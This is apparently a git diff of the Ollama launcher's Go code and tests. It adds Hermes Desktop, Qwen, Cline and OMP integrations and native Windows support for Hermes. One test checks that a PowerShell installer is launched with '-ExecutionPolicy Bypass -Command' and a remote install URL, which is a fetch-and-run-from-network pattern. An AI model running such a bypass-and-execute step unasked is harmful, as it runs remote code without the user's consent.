}
|
||||
return filepath.Join(home, "AppData", "Local", "hermes"), nil
|
||||
}
|
||||
home, err := hermesUserHome()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".hermes", "config.yaml"), nil
|
||||
return filepath.Join(home, ".hermes"), nil
|
||||
}
|
||||
|
||||
func hermesConfigPath() (string, error) {
|
||||
home, err := hermesHomePath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, "config.yaml"), nil
|
||||
}
|
||||
|
||||
func hermesBaseURL() string {
|
||||
@@ -287,11 +486,11 @@ func hermesBaseURL() string {
|
||||
}
|
||||
|
||||
func hermesEnvPath() (string, error) {
|
||||
home, err := hermesUserHome()
|
||||
home, err := hermesHomePath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".hermes", ".env"), nil
|
||||
return filepath.Join(home, ".env"), nil
|
||||
}
|
||||
|
||||
func (h *Hermes) runGatewaySetupPreflight(args []string, runSetup func() error) error {
|
||||
@@ -671,9 +870,3 @@ func hermesAttachedCommand(name string, args ...string) *exec.Cmd {
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd
|
||||
}
|
||||
|
||||
func hermesWindowsHint() error {
|
||||
return fmt.Errorf("Hermes on Windows requires WSL2. Install WSL with: wsl --install\n" +
|
||||
"Then run 'ollama launch hermes' from inside your WSL shell.\n" +
|
||||
"Docs: https://hermes-agent.nousresearch.com/docs/getting-started/installation/")
|
||||
}
|
||||
+244
-13
@@ -8,6 +8,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
@@ -65,6 +66,20 @@ func clearHermesMessagingEnvVars(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func clearHermesDesktopPackageEnvVars(t *testing.T) {
|
||||
t.Helper()
|
||||
for _, key := range []string{"HERMES_INSTALL_DIR", "HERMES_HOME", "LOCALAPPDATA"} {
|
||||
if value, ok := os.LookupEnv(key); ok {
|
||||
t.Setenv(key, value)
|
||||
} else {
|
||||
t.Setenv(key, "")
|
||||
}
|
||||
if err := os.Unsetenv(key); err != nil {
|
||||
t.Fatalf("unset %s: %v", key, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesIntegration(t *testing.T) {
|
||||
h := &Hermes{}
|
||||
|
||||
@@ -408,19 +423,36 @@ func TestHermesConfigureMigratesLegacyManagedAliases(t *testing.T) {
|
||||
func TestHermesPathsUsesLocalConfigPathForNativeWindowsHermes(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
winHome := filepath.Join(tmpDir, "winhome")
|
||||
localAppData := filepath.Join(tmpDir, "LocalAppData")
|
||||
setTestHome(t, winHome)
|
||||
withHermesPlatform(t, "windows")
|
||||
withHermesUserHome(t, winHome)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
t.Setenv("LOCALAPPDATA", localAppData)
|
||||
writeFakeBinary(t, tmpDir, "hermes")
|
||||
|
||||
got := (&Hermes{}).Paths()
|
||||
want := filepath.Join(winHome, ".hermes", "config.yaml")
|
||||
want := filepath.Join(localAppData, "hermes", "config.yaml")
|
||||
if len(got) != 1 || got[0] != want {
|
||||
t.Fatalf("expected local config path %q, got %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesPathsUsesHermesHomeOverride(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
hermesHome := filepath.Join(tmpDir, "custom-hermes-home")
|
||||
setTestHome(t, filepath.Join(tmpDir, "home"))
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("HERMES_HOME", hermesHome)
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
|
||||
got := (&Hermes{}).Paths()
|
||||
want := filepath.Join(hermesHome, "config.yaml")
|
||||
if len(got) != 1 || got[0] != want {
|
||||
t.Fatalf("expected HERMES_HOME config path %q, got %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesCurrentModelRequiresHealthyManagedConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -565,6 +597,172 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func writeHermesDesktopPackage(t *testing.T, home string) {
|
||||
t.Helper()
|
||||
writeHermesDesktopExecutable(t,
|
||||
filepath.Join(home, ".hermes", "hermes-agent", "apps", "desktop", "release"),
|
||||
hermesDesktopTestExecutableRelativePath(hermesGOOS),
|
||||
)
|
||||
}
|
||||
|
||||
func writeHermesDesktopExecutable(t *testing.T, releaseRoot, relative string) {
|
||||
t.Helper()
|
||||
path := filepath.Join(releaseRoot, relative)
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(path, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func hermesDesktopTestExecutableRelativePath(goos string) string {
|
||||
switch goos {
|
||||
case "darwin":
|
||||
return filepath.Join("mac-arm64", "Hermes.app", "Contents", "MacOS", "Hermes")
|
||||
case "windows":
|
||||
return filepath.Join("win-unpacked", "Hermes.exe")
|
||||
default:
|
||||
return filepath.Join("linux-unpacked", "hermes")
|
||||
}
|
||||
}
|
||||
|
||||
func writeHermesDesktopTestBinary(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
bin := filepath.Join(dir, "hermes")
|
||||
if err := os.WriteFile(bin, []byte("#!/bin/sh\nprintf '[%s]\\n' \"$*\" >> \"$HOME/hermes-invocations.log\"\n"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func readHermesDesktopInvocations(t *testing.T, home string) string {
|
||||
t.Helper()
|
||||
data, err := os.ReadFile(filepath.Join(home, "hermes-invocations.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func TestHermesDesktopRun(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
goos string
|
||||
args []string
|
||||
hasPackage bool
|
||||
clearPkgEnv bool
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "desktop subcommand",
|
||||
goos: "darwin",
|
||||
args: []string{"--foreground"},
|
||||
clearPkgEnv: true,
|
||||
want: "[desktop --foreground]",
|
||||
},
|
||||
{
|
||||
name: "skip build when packaged app exists",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--cwd", "/tmp/project"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --skip-build --cwd /tmp/project]",
|
||||
},
|
||||
{
|
||||
name: "explicit skip build",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--skip-build"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --skip-build]",
|
||||
},
|
||||
{
|
||||
name: "source mode",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--source"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --source]",
|
||||
},
|
||||
{
|
||||
name: "build only",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--build-only"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --build-only]",
|
||||
},
|
||||
{
|
||||
name: "help",
|
||||
goos: runtime.GOOS,
|
||||
args: []string{"--help"},
|
||||
hasPackage: true,
|
||||
want: "[desktop --help]",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
withInteractiveSession(t, true)
|
||||
withHermesPlatform(t, tt.goos)
|
||||
clearHermesMessagingEnvVars(t)
|
||||
if tt.clearPkgEnv {
|
||||
clearHermesDesktopPackageEnvVars(t)
|
||||
}
|
||||
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
if tt.hasPackage {
|
||||
writeHermesDesktopPackage(t, tmpDir)
|
||||
}
|
||||
writeHermesDesktopTestBinary(t, tmpDir)
|
||||
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if err := (&HermesDesktop{}).Run("", nil, tt.args); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
}
|
||||
if got := readHermesDesktopInvocations(t, tmpDir); got != tt.want {
|
||||
t.Fatalf("expected %q, got %q", tt.want, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesDesktopRunUsesWindowsLocalAppDataPackage(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
|
||||
writeHermesDesktopExecutable(t,
|
||||
filepath.Join(tmpDir, "LocalAppData", "hermes", "hermes-agent", "apps", "desktop", "release"),
|
||||
hermesDesktopTestExecutableRelativePath("windows"),
|
||||
)
|
||||
|
||||
got := (&HermesDesktop{}).launchArgs([]string{"--cwd", `C:\Users\me\project`})
|
||||
want := []string{"desktop", "--skip-build", "--cwd", `C:\Users\me\project`}
|
||||
if diff := compareStrings(got, want); diff != "" {
|
||||
t.Fatalf("Hermes Desktop launch args mismatch: %s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesDesktopReleaseRootsIncludeLinuxRootInstall(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withHermesPlatform(t, "linux")
|
||||
|
||||
got := hermesDesktopReleaseRoots()
|
||||
want := filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent", "apps", "desktop", "release")
|
||||
if !slices.Contains(got, want) {
|
||||
t.Fatalf("expected Linux root install release path %q in %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesRun_PromptsForMessagingSetupBeforeDefaultLaunch(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
@@ -943,26 +1141,59 @@ func TestHermesMessagingConfiguredRecognizesSupportedGatewayVars(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesEnsureInstalledWindowsShowsWSLGuidance(t *testing.T) {
|
||||
func TestHermesEnsureInstalledWindowsRunsPowerShellInstaller(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
}
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("PATH", tmpDir)
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "AppData", "Local"))
|
||||
|
||||
powershell := filepath.Join(tmpDir, "powershell.exe")
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
printf '%%s\n' "$*" >> %q
|
||||
/bin/mkdir -p %q
|
||||
/bin/cat > %q <<'EOS'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOS
|
||||
/bin/chmod +x %q
|
||||
exit 0
|
||||
`,
|
||||
filepath.Join(tmpDir, "powershell.log"),
|
||||
filepath.Dir(filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe")),
|
||||
filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
|
||||
filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
|
||||
)
|
||||
if err := os.WriteFile(powershell, []byte(script), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
if prompt != "Hermes is not installed. Install now?" {
|
||||
t.Fatalf("unexpected install prompt %q", prompt)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
err := h.ensureInstalled()
|
||||
if err == nil {
|
||||
t.Fatal("expected WSL guidance error")
|
||||
if err := h.ensureInstalled(); err != nil {
|
||||
t.Fatalf("ensureInstalled returned error: %v", err)
|
||||
}
|
||||
msg := err.Error()
|
||||
if !strings.Contains(msg, "wsl --install") {
|
||||
t.Fatalf("expected install command in guidance, got %v", err)
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, "powershell.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "hermes-agent.nousresearch.com") {
|
||||
t.Fatalf("expected docs link in guidance, got %v", err)
|
||||
}
|
||||
if strings.Contains(msg, "hermes is not installed") {
|
||||
t.Fatalf("guidance should not lead with 'hermes is not installed', got %v", err)
|
||||
logs := string(data)
|
||||
for _, want := range []string{"-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallURL, "-SkipSetup"} {
|
||||
if !strings.Contains(logs, want) {
|
||||
t.Fatalf("expected PowerShell installer args to contain %q, got logs:\n%s", want, logs)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -61,9 +61,11 @@ func TestIntegrationLookup(t *testing.T) {
|
||||
{"codex app", "codex-app", true, "Codex App"},
|
||||
{"codex app desktop alias", "codex-desktop", true, "Codex App"},
|
||||
{"codex app gui alias", "codex-gui", true, "Codex App"},
|
||||
{"hermes desktop", "hermes-desktop", true, "Hermes Desktop"},
|
||||
{"kimi", "kimi", true, "Kimi Code CLI"},
|
||||
{"droid", "droid", true, "Droid"},
|
||||
{"opencode", "opencode", true, "OpenCode"},
|
||||
{"omp", "omp", true, "OMP"},
|
||||
{"pool", "pool", true, "Pool"},
|
||||
{"unknown integration", "unknown", false, ""},
|
||||
{"empty string", "", false, ""},
|
||||
@@ -83,7 +85,7 @@ func TestIntegrationLookup(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestIntegrationRegistry(t *testing.T) {
|
||||
expectedIntegrations := []string{"claude", "claude-desktop", "codex", "codex-app", "kimi", "droid", "opencode", "hermes", "pool"}
|
||||
expectedIntegrations := []string{"claude", "claude-desktop", "cline", "codex", "codex-app", "kimi", "droid", "opencode", "omp", "hermes", "hermes-desktop", "pool", "qwen"}
|
||||
for _, name := range expectedIntegrations {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
r, ok := integrations[name]
|
||||
@@ -100,7 +102,7 @@ func TestIntegrationRegistry(t *testing.T) {
|
||||
func TestHiddenIntegrationsExcludedFromVisibleLists(t *testing.T) {
|
||||
for _, info := range ListIntegrationInfos() {
|
||||
switch info.Name {
|
||||
case "cline", "vscode", "kimi":
|
||||
case "vscode", "kimi":
|
||||
t.Fatalf("hidden integration %q should not appear in ListIntegrationInfos", info.Name)
|
||||
}
|
||||
}
|
||||
@@ -1760,6 +1762,11 @@ func TestIntegration_InstallHint(t *testing.T) {
|
||||
input: "unknown",
|
||||
wantEmpty: true,
|
||||
},
|
||||
{
|
||||
name: "qwen uses official install page",
|
||||
input: "qwen",
|
||||
wantURL: "https://qwen.ai/qwencode",
|
||||
},
|
||||
{
|
||||
name: "empty name has no hint",
|
||||
input: "",
|
||||
@@ -1841,9 +1848,9 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
for _, info := range infos {
|
||||
got = append(got, info.Name)
|
||||
}
|
||||
wantPrefix := []string{"claude", "codex-app", "hermes", "openclaw"}
|
||||
wantPrefix := []string{"claude", "codex-app", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
|
||||
if codexAppSupported() != nil {
|
||||
wantPrefix = []string{"claude", "hermes", "openclaw", "opencode"}
|
||||
wantPrefix = []string{"claude", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
|
||||
}
|
||||
if len(got) < len(wantPrefix) {
|
||||
t.Fatalf("expected at least %d integrations, got %v", len(wantPrefix), got)
|
||||
@@ -1865,7 +1872,7 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
})
|
||||
|
||||
t.Run("includes known integrations", func(t *testing.T) {
|
||||
known := map[string]bool{"claude": false, "codex": false, "opencode": false}
|
||||
known := map[string]bool{"claude": false, "cline": false, "codex": false, "opencode": false, "omp": false}
|
||||
if codexAppSupported() == nil {
|
||||
known["codex-app"] = false
|
||||
}
|
||||
@@ -1893,6 +1900,15 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
t.Fatal("expected hermes to be included in ListIntegrationInfos")
|
||||
})
|
||||
|
||||
t.Run("includes hermes desktop", func(t *testing.T) {
|
||||
for _, info := range infos {
|
||||
if info.Name == "hermes-desktop" {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatal("expected hermes-desktop to be included in ListIntegrationInfos")
|
||||
})
|
||||
|
||||
t.Run("hermes still resolves explicitly", func(t *testing.T) {
|
||||
name, runner, err := LookupIntegration("hermes")
|
||||
if err != nil {
|
||||
@@ -1991,6 +2007,7 @@ func TestIntegration_Editor(t *testing.T) {
|
||||
{"claude", false},
|
||||
{"claude-desktop", false},
|
||||
{"codex", false},
|
||||
{"omp", false},
|
||||
{"nonexistent", false},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
@@ -2015,10 +2032,14 @@ func TestIntegration_AutoInstallable(t *testing.T) {
|
||||
{"openclaw", true},
|
||||
{"pi", true},
|
||||
{"hermes", true},
|
||||
{"hermes-desktop", true},
|
||||
{"cline", true},
|
||||
{"qwen", true},
|
||||
{"claude", false},
|
||||
{"claude-desktop", false},
|
||||
{"codex", false},
|
||||
{"opencode", false},
|
||||
{"omp", false},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
|
||||
+18
-5
@@ -204,6 +204,12 @@ type RestoreSuccessIntegration interface {
|
||||
RestoreSuccessMessage() string
|
||||
}
|
||||
|
||||
// RestoreInstallCheckSkipper lets cleanup-only restore flows run even when the
|
||||
// external integration binary has already been removed.
|
||||
type RestoreInstallCheckSkipper interface {
|
||||
SkipRestoreInstallCheck() bool
|
||||
}
|
||||
|
||||
// ManagedRuntimeRefresher lets managed integrations refresh any long-lived
|
||||
// background runtime after launch rewrites their config.
|
||||
type ManagedRuntimeRefresher interface {
|
||||
@@ -286,12 +292,15 @@ Supported integrations:
|
||||
openclaw OpenClaw (aliases: clawdbot, moltbot)
|
||||
opencode OpenCode
|
||||
codex Codex
|
||||
hermes-desktop Hermes Desktop
|
||||
copilot Copilot CLI (aliases: copilot-cli)
|
||||
omp OMP
|
||||
droid Droid
|
||||
kimi Kimi Code CLI
|
||||
pi Pi
|
||||
pool Pool
|
||||
cline Cline
|
||||
qwen Qwen Code
|
||||
vscode VS Code (aliases: code)
|
||||
|
||||
Examples:
|
||||
@@ -301,8 +310,9 @@ Examples:
|
||||
ollama launch codex-app
|
||||
ollama launch codex-app --restore
|
||||
ollama launch hermes
|
||||
ollama launch hermes-desktop
|
||||
ollama launch droid --config (does not auto-launch)
|
||||
ollama launch codex -- -p myprofile (pass extra args to integration)
|
||||
ollama launch codex --restore
|
||||
ollama launch codex -- --sandbox workspace-write`,
|
||||
Args: cobra.ArbitraryArgs,
|
||||
PreRunE: func(cmd *cobra.Command, args []string) error {
|
||||
@@ -526,8 +536,10 @@ func restoreIntegration(name string, runner Runner, req IntegrationLaunchRequest
|
||||
if !ok {
|
||||
return fmt.Errorf("%s does not support --restore", name)
|
||||
}
|
||||
if err := EnsureIntegrationInstalled(name, runner); err != nil {
|
||||
return err
|
||||
if skipper, ok := runner.(RestoreInstallCheckSkipper); !ok || !skipper.SkipRestoreInstallCheck() {
|
||||
if err := EnsureIntegrationInstalled(name, runner); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if err := restorable.Restore(); err != nil {
|
||||
return err
|
||||
@@ -701,7 +713,7 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques
|
||||
}
|
||||
}
|
||||
|
||||
model, err := c.selectSingleModelWithSelector(ctx, "Select model to run:", current, DefaultSingleSelector)
|
||||
model, err := c.selectSingleModelWithSelector(ctx, "Select model to chat and code with:", current, DefaultSingleSelector)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -752,7 +764,8 @@ func (c *launcherClient) launchEditorIntegration(ctx context.Context, name strin
|
||||
}
|
||||
|
||||
var launchModels []LaunchModel
|
||||
if (needsConfigure || req.ModelOverride != "") && !savedMatchesModels(saved, models) {
|
||||
liveConfigMatches := slices.Equal(editor.Models(), models)
|
||||
if needsConfigure || req.ModelOverride != "" || !savedMatchesModels(saved, models) || !liveConfigMatches {
|
||||
launchModels = c.modelInventory().Resolve(ctx, models)
|
||||
if err := prepareEditorIntegration(name, editor, launchModels); err != nil {
|
||||
return err
|
||||
|
||||
+227
-7
@@ -17,10 +17,12 @@ import (
|
||||
|
||||
"github.com/google/go-cmp/cmp"
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
)
|
||||
|
||||
type launcherEditorRunner struct {
|
||||
paths []string
|
||||
models []string
|
||||
edited [][]string
|
||||
ranModel string
|
||||
}
|
||||
@@ -35,11 +37,14 @@ func (r *launcherEditorRunner) String() string { return "LauncherEditor" }
|
||||
func (r *launcherEditorRunner) Paths() []string { return r.paths }
|
||||
|
||||
func (r *launcherEditorRunner) Edit(models []LaunchModel) error {
|
||||
r.edited = append(r.edited, launchModelNames(models))
|
||||
names := launchModelNames(models)
|
||||
r.edited = append(r.edited, names)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *launcherEditorRunner) Models() []string { return nil }
|
||||
func (r *launcherEditorRunner) Models() []string {
|
||||
return append([]string(nil), r.models...)
|
||||
}
|
||||
|
||||
type launcherSingleRunner struct {
|
||||
ranModel string
|
||||
@@ -530,6 +535,81 @@ func TestLaunchIntegration_ManagedSingleIntegrationPrintsConfigurationSuccessAft
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_QwenConfiguresSingleModel(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
withInteractiveSession(t, true)
|
||||
withLauncherHooks(t)
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"gemma4"}]}`)
|
||||
case "/api/show":
|
||||
fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`)
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
binDir := filepath.Join(tmpDir, "bin")
|
||||
if err := os.MkdirAll(binDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create bin dir: %v", err)
|
||||
}
|
||||
writeFakeBinary(t, binDir, "qwen")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
|
||||
return "gemma4", nil
|
||||
}
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{
|
||||
Name: "qwen",
|
||||
ConfigureOnly: true,
|
||||
}); err != nil {
|
||||
t.Fatalf("LaunchIntegration returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, ".qwen", "settings.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read qwen config: %v", err)
|
||||
}
|
||||
|
||||
var cfg map[string]any
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
t.Fatalf("failed to parse qwen config: %v", err)
|
||||
}
|
||||
|
||||
modelCfg := cfg["model"].(map[string]any)
|
||||
if modelCfg["name"] != "gemma4" {
|
||||
t.Fatalf("expected model.name gemma4, got %v", modelCfg["name"])
|
||||
}
|
||||
|
||||
modelProviders := cfg["modelProviders"].(map[string]any)
|
||||
openai := modelProviders["openai"].([]any)
|
||||
if len(openai) != 1 {
|
||||
t.Fatalf("expected one provider, got %d", len(openai))
|
||||
}
|
||||
|
||||
saved, err := config.LoadIntegration("qwen")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to reload qwen integration config: %v", err)
|
||||
}
|
||||
if diff := compareStrings(saved.Models, []string{"gemma4"}); diff != "" {
|
||||
t.Fatalf("saved models mismatch: %s", diff)
|
||||
}
|
||||
if !saved.Onboarded {
|
||||
t.Fatal("expected qwen integration to be marked onboarded")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_ManagedSingleIntegrationDoesNotPrintRestoreHintWhenUnchanged(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
@@ -2078,7 +2158,11 @@ func TestLaunchIntegration_EditorForceConfigure(t *testing.T) {
|
||||
writeFakeBinary(t, binDir, "droid")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
editor := &launcherEditorRunner{paths: []string{"/tmp/settings.json"}}
|
||||
settingsPath := filepath.Join(t.TempDir(), "settings.json")
|
||||
if err := os.WriteFile(settingsPath, []byte("{}"), 0o644); err != nil {
|
||||
t.Fatalf("failed to seed editor settings: %v", err)
|
||||
}
|
||||
editor := &launcherEditorRunner{paths: []string{settingsPath}}
|
||||
withIntegrationOverride(t, "droid", editor)
|
||||
|
||||
var multiCalled bool
|
||||
@@ -2129,6 +2213,86 @@ func TestLaunchIntegration_EditorForceConfigure(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_ClineRewritesWhenLiveProviderDrifted(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
|
||||
binDir := t.TempDir()
|
||||
writeFakeBinary(t, binDir, "cline")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
if err := config.SaveIntegration("cline", []string{"llama3.2"}); err != nil {
|
||||
t.Fatalf("failed to seed saved config: %v", err)
|
||||
}
|
||||
|
||||
providersPath := clineProvidersPath(tmpDir)
|
||||
if err := os.MkdirAll(filepath.Dir(providersPath), 0o755); err != nil {
|
||||
t.Fatalf("failed to create providers dir: %v", err)
|
||||
}
|
||||
existingProviders := map[string]any{
|
||||
"version": float64(1),
|
||||
"lastUsedProvider": "openai-codex-cli",
|
||||
"providers": map[string]any{
|
||||
"openai-codex-cli": map[string]any{
|
||||
"settings": map[string]any{
|
||||
"provider": "openai-codex-cli",
|
||||
"model": "gpt-5.5",
|
||||
"reasoning": "medium",
|
||||
},
|
||||
"updatedAt": "2026-06-01T12:00:00Z",
|
||||
"tokenSource": "manual",
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ := json.Marshal(existingProviders)
|
||||
if err := os.WriteFile(providersPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to seed providers config: %v", err)
|
||||
}
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
var req apiShowRequest
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
fmt.Fprintf(w, `{"model":%q}`, req.Model)
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{
|
||||
Name: "cline",
|
||||
}); err != nil {
|
||||
t.Fatalf("LaunchIntegration returned error: %v", err)
|
||||
}
|
||||
|
||||
providersConfig, err := fileutil.ReadJSON(providersPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read providers config: %v", err)
|
||||
}
|
||||
if providersConfig["lastUsedProvider"] != clineLaunchProvider {
|
||||
t.Fatalf("lastUsedProvider = %v, want %s", providersConfig["lastUsedProvider"], clineLaunchProvider)
|
||||
}
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
if _, ok := providers["openai-codex-cli"]; !ok {
|
||||
t.Fatal("expected existing openai-codex-cli provider to be preserved")
|
||||
}
|
||||
ollamaProvider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
settings, _ := ollamaProvider["settings"].(map[string]any)
|
||||
if settings["provider"] != clineLaunchProvider {
|
||||
t.Fatalf("ollama settings.provider = %v, want %s", settings["provider"], clineLaunchProvider)
|
||||
}
|
||||
if settings["model"] != "llama3.2" {
|
||||
t.Fatalf("ollama settings.model = %v, want llama3.2", settings["model"])
|
||||
}
|
||||
if settings["baseUrl"] != srv.URL+"/v1" {
|
||||
t.Fatalf("ollama settings.baseUrl = %v, want %s/v1", settings["baseUrl"], srv.URL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_EditorForceConfigure_FloatsCheckedModelsInPicker(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
